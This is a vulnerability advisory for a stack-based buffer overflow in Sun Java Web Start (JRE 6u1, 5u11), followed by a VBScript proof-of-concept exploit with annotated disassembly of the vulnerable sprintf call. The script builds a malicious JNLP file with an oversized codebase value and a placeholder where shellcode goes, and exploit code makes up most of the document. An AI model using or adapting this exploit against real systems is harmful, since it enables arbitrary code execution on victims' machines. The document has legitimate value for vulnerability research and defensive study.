source: https://www.securityfocus.com/bid/24832/info

Sun Java Runtime Environment is prone to a stack-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects these versions:

Java Runtime Environment 6 update 1
Java Runtime Environment 5 update 11

Prior versions are also affected. 

'-----------------------------------------------------------------------------------------------
' Java Web Start Buffer Overflow POC Exploit
'
' FileName: JavaWebStartPOC.VBS
' Contact: ZhenHan.Liu#ph4nt0m.org
' Date: 2007-07-10
' Team: http://www.ph4nt0m.org
' Enviroment: Tested on JRE 1.6, javaws.exe v6.0.10.6
' Reference: http://seclists.org/fulldisclosure/2007/Jul/0155.html
' Usage: I did not put a real alpha shellcode here, you'd replace it with your own.
' 
' Code(javaws.exe):
' .text:00406208 ; *************** S U B R O U T I N E ***************************************
' .text:00406208
' .text:00406208 ; Attributes: bp-based frame
' .text:00406208
' .text:00406208 sub_406208      proc near               ; CODE XREF: sub_405468+4E p
' .text:00406208
' .text:00406208 FileName        = byte ptr -540h
' .text:00406208 FindFileData    = _WIN32_FIND_DATAA ptr -140h
' .text:00406208 arg_0           = dword ptr  8
' .text:00406208 arg_4           = dword ptr  0Ch
' .text:00406208
' .text:00406208                 push    ebp             ; FileName 1k Buffer
' .text:00406209                 mov     ebp, esp
' .text:0040620B                 sub     esp, 540h
' .text:00406211                 push    5Fh
' .text:00406213                 push    2Fh
' .text:00406215                 push    [ebp+arg_0]
' .text:00406218                 call    sub_40544D
' .text:00406218
' .text:0040621D                 push    5Fh
' .text:0040621F                 push    3Ah
' .text:00406221                 push    [ebp+arg_0]
' .text:00406224                 call    sub_40544D
' .text:00406224
' .text:00406229                 add     esp, 18h
' .text:0040622C                 push    2Ah
' .text:0040622E                 push    [ebp+arg_0]     ; codebase buffer
' .text:00406231                 push    5Ch
' .text:00406233                 push    offset s_Si     ; "si"
' .text:00406238                 push    5Ch
' .text:0040623A                 push    offset s_Tmp_0  ; "tmp"
' .text:0040623F                 push    5Ch
' .text:00406241                 call    sub_40615B
' .text:00406241
' .text:00406246                 push    eax
' .text:00406247                 lea     eax, [ebp+FileName]
' .text:0040624D                 push    offset s_SCSCSCSC ; "%s%c%s%c%s%c%s%c"
' .text:00406252                 push    eax             ; char *
' .text:00406253                 call    _sprintf        ; sprintf copy codebase to 1k stack buffer lead to buffer over flow
' .text:00406253
' .text:00406258                 add     esp, 28h
' .text:0040625B                 lea     eax, [ebp+FindFileData]
' .text:00406261                 push    eax             ; lpFindFileData
' .text:00406262                 lea     eax, [ebp+FileName]
' .text:00406268                 push    eax             ; lpFileName
' .text:00406269                 call    ds:FindFirstFileA
' .text:0040626F                 cmp     eax, 0FFFFFFFFh
' .text:00406272                 jnz     short loc_406278
' .text:00406272
' .text:00406274                 xor     eax, eax
' .text:00406276                 leave
' .text:00406277                 retn
' .text:00406277
' .text:00406278 ; ---------------------------------------------------------------------------
' .text:00406278
' .text:00406278 loc_406278:                             ; CODE XREF: sub_406208+6A j
' .text:00406278                 push    esi
' .text:00406279                 mov     esi, [ebp+arg_4]
' .text:0040627C                 lea     ecx, [ebp+FindFileData' .cFileName]
' .text:00406282                 mov     edx, ecx
' .text:00406284                 sub     esi, edx
' .text:00406284
' .text:00406286
' .text:00406286 loc_406286:                             ; CODE XREF: sub_406208+86 j
' .text:00406286                 mov     dl, [ecx]
' .text:00406288                 mov     [esi+ecx], dl
' .text:0040628B                 inc     ecx
' .text:0040628C                 test    dl, dl
' .text:0040628E                 jnz     short loc_406286
' .text:0040628E
' .text:00406290                 push    eax             ; hFindFile
' .text:00406291                 call    ds:FindClose
' .text:00406297                 xor     eax, eax
' .text:00406299                 inc     eax
' .text:0040629A                 pop     esi
' .text:0040629B                 leave
' .text:0040629C                 retn
' .text:0040629C
' .text:0040629C sub_406208      endp
'-----------------------------------------------------------------------------------------------

If WScript.Arguments.Count <> 1 Then
	WScript.Echo WScript.ScriptName & " <FileName>"
	WScript.Quit
End If

sFileName = WScript.Arguments(0)

On Error Resume Next

Set oFSO = WScript.CreateObject("Scripting.FileSystemObject")
Set oFS = oFSO.CreateTextFile(sFileName)

If Err.Number <> 0 Then
	WScript.Echo "Error: Failed Create File."
	WScript.Quit
End If

c = Chr(&H04)
alphaShellcode = "IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"

oFS.WriteLine "<?xml version=""1.0"" encoding=""utf-8""?>"
oFS.WriteLine "<jnlp spec=""1.0+"" codebase=""http://" & String(12000000, c) & alphaShellcode & String(24, c) & """ href=""test.jnlp"">"
oFS.WriteLine "</jnlp>"

If Err.Number <> 0 Then
	WScript.Echo "Error: Failed Write File."
	Err.Clear
End If

oFS.Close

Set oFS = Nothing
Set oFSO = Nothing